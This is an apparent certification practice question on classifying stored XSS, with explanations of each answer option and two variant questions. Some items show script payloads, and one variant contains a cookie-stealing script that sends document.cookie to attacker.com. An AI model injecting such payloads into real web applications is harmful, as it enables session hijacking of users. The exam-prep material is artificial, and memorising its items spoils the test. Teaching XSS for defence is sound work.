CEH Web Application and Injection Attacks Practice Question
A web application allows users to submit feedback that is stored in a database and displayed to other users without proper sanitization. A tester inputs '<script>alert(1)</script>' and it executes when other users view the feedback. Which type of XSS is this?
Answer choices
Why each option matters
Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.
Correct answer & explanation
✓
Stored XSS
The payload is stored in the database and executed when other users load the page, which is stored (persistent) XSS.
Answer analysis
Option-by-option breakdown
For each option: why learners choose it and why it is or isn't the right answer here.
- ✗
Self-XSS
Why it's wrong here
Self-XSS occurs when a user is tricked into pasting malicious script into their own browser's developer console or an input field, which then executes only within their session. It typically involves social engineering to convince the victim to execute the payload themselves, often under the guise of a "hack" or "trick." This type of XSS does not exploit a vulnerability that allows the script to be stored or automatically executed for other users.
- ✗
DOM-based XSS
Why it's wrong here
DOM-based XSS is a client-side vulnerability where the malicious payload is executed as a result of modifying the Document Object Model (DOM) environment in the victim's browser. Unlike other XSS types, the entire attack, including the payload and its execution, occurs solely within the client's browser without the server explicitly reflecting or storing the malicious script. The vulnerability arises when client-side script takes data from an untrusted source (e.g., URL fragment) and writes it to a dangerous sink (e.g., innerHTML).
- ✓
Stored XSS
Why this is correct
Stored XSS, also known as Persistent XSS, occurs when a malicious script is permanently saved on the target server, typically within a database. When other users access the vulnerable web page that retrieves and displays this stored data (e.g., feedback, comments, forum posts), the malicious script is delivered to their browsers and executed automatically. This makes it a highly dangerous form of XSS as it can impact a large number of users without requiring individual interaction with a crafted link.
- ✗
Reflected XSS
Why it's wrong here
Reflected XSS, or Non-Persistent XSS, involves the immediate and non-persistent execution of a malicious script from the web server's response. The payload is typically injected into a URL parameter and then "reflected" back to the user's browser in the server's response without being stored. This attack usually requires social engineering to trick a victim into clicking a specially crafted link containing the malicious script, which then executes only for that specific user.
Go deeper
Related to this question
About these practice questions
This CEH question is part of Courseiva's 870-question bank — original exam-style content with full explanations and wrong-answer analysis, never real exam questions or exam dumps. Learn why practice questions differ from exam dumps →
Same concept, more angles
2 more ways this is tested on CEH
These questions test the same concept from different angles. Work through them to make sure you can recognise it however the exam phrases it.
Variation 1. A security analyst observes that a web application allows users to submit feedback, and after submission, the feedback is displayed on a public page. An attacker submits feedback containing the script: <script>document.location='http://attacker.com/?c='+document.cookie</script>. When an admin views the public page, the script executes. Which type of attack occurred?
medium- A.Reflected XSS
- B.Cross-site request forgery (CSRF)
- C.DOM-based XSS
- ✓ D.Stored XSS
Why D: The script is stored on the server (feedback) and executed when the admin views the page. This is persistent (stored) XSS.
Variation 2. A web application allows users to submit feedback that is stored in a database and later displayed to administrators. An attacker submits feedback containing <script>alert('stored')</script>. When an admin views the feedback page, the script executes. Which type of XSS is this?
medium- A.Blind XSS
- B.Reflected XSS
- ✓ C.Stored XSS
- D.DOM-based XSS
Why C: Stored (persistent) XSS occurs when the payload is stored on the server and served to other users later.
JA
Written by Johnson Ajibi, MSc IT Security
Senior Network & Security Engineer · founder of Courseiva
This CEH practice question is part of Courseiva's free EC-Council certification practice question bank. Courseiva provides original exam-style practice questions with explanations, topic-based practice, mock exams, readiness tracking, and study analytics to help learners prepare for the CEH exam.